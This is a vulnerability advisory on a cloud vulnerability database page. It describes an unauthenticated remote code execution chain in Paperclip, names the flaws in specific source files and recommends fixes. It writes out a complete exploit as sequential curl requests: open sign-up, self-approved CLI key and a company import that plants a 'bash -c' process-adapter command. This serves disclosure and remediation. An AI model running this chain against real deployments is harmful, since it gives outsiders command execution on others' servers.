
Cloud Vulnerability DB
A community-led vulnerabilities database
An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.
The attack chains four independent flaws to escalate from zero access to RCE:
curl -s -X POST -H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
http://<target>:3100/api/auth/sign-up/emailReturns a valid account immediately. No invite token required, no email verification.
This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:
const authDisableSignUp: boolean =
disableSignUpFromEnv !== undefined
? disableSignUpFromEnv === "true"
: (fileConfig?.auth?.disableSignUp ?? false); // default: openAnd email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:
emailAndPassword: {
enabled: true,
requireEmailVerification: false,
disableSignUp: config.authDisableSignUp,
},The environment variable isn't documented in the deployment guide, so operators don't know it exists.
curl -s -v -X POST -H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
http://<target>:3100/api/auth/sign-in/emailCapture the session cookie from the Set-Cookie header.
Create the challenge (no authentication required at all):
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challengesThe response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.
Now approve it with our own session:
curl -s -X POST \
-H "Cookie: <session-cookie>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{"token":"<token-from-above>"}' \
http://<target>:3100/api/cli-auth/challenges/<id>/approveThe approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:
if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);The boardApiToken from step 3 is now a persistent API key tied to our account.
This is the critical flaw. The direct company creation endpoint correctly requires instance admin:
server/src/routes/companies.ts:260-264:
router.post("/", validate(createCompanySchema), async (req, res) => {
assertBoard(req);
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
});But the import endpoint does not:
server/src/routes/companies.ts:170-176:
router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
assertBoard(req); // only checks board type
if (req.body.target.mode === "existing_company") {
assertCompanyAccess(req, req.body.target.companyId); // only for existing
}
// NO assertInstanceAdmin for "new_company" mode
const result = await portability.importBundle(req.body, ...);
});assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.
The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{
"source": {"type": "inline", "files": {
"COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
"agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
".paperclip.yaml": "agents:\n pwn:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
}},
"target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
"include": {"company": true, "agents": true},
"agents": "all"
}' \
http://<target>:3100/api/companies/importReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{}' \
http://<target>:3100/api/agents/<agent-id>/wakeupThe wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.
I have a self-contained bash script that runs the full chain automatically:
./poc_exploit.sh http://<target>:3100It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.
An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:
The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:
assertBoard, not assertCompanyAccess)GET /api/heartbeat-runs/:runId/issues)These need to be fixed together:
server/src/config.ts:172, change ?? false to ?? true. Document PAPERCLIP_AUTH_DISABLE_SIGN_UP in the deployment guide. Any deployment that wants open signup can opt in explicitly.server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.server/src/auth/better-auth.ts:91, set requireEmailVerification: true. At minimum this stops throwaway accounts.assertInstanceAdmin to the import endpoint for new_company mode -- server/src/routes/companies.ts, lines 161-176. The direct POST / creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both POST /import and POST /import/preview:assertBoard(req);
if (req.body.target.mode === "new_company") {
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
} else {
assertCompanyAccess(req, req.body.target.companyId);
}Discord: sagi03581 https://github.com/user-attachments/assets/50c4520a-9ea1-48bd-95b5-8e370d8110c3
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."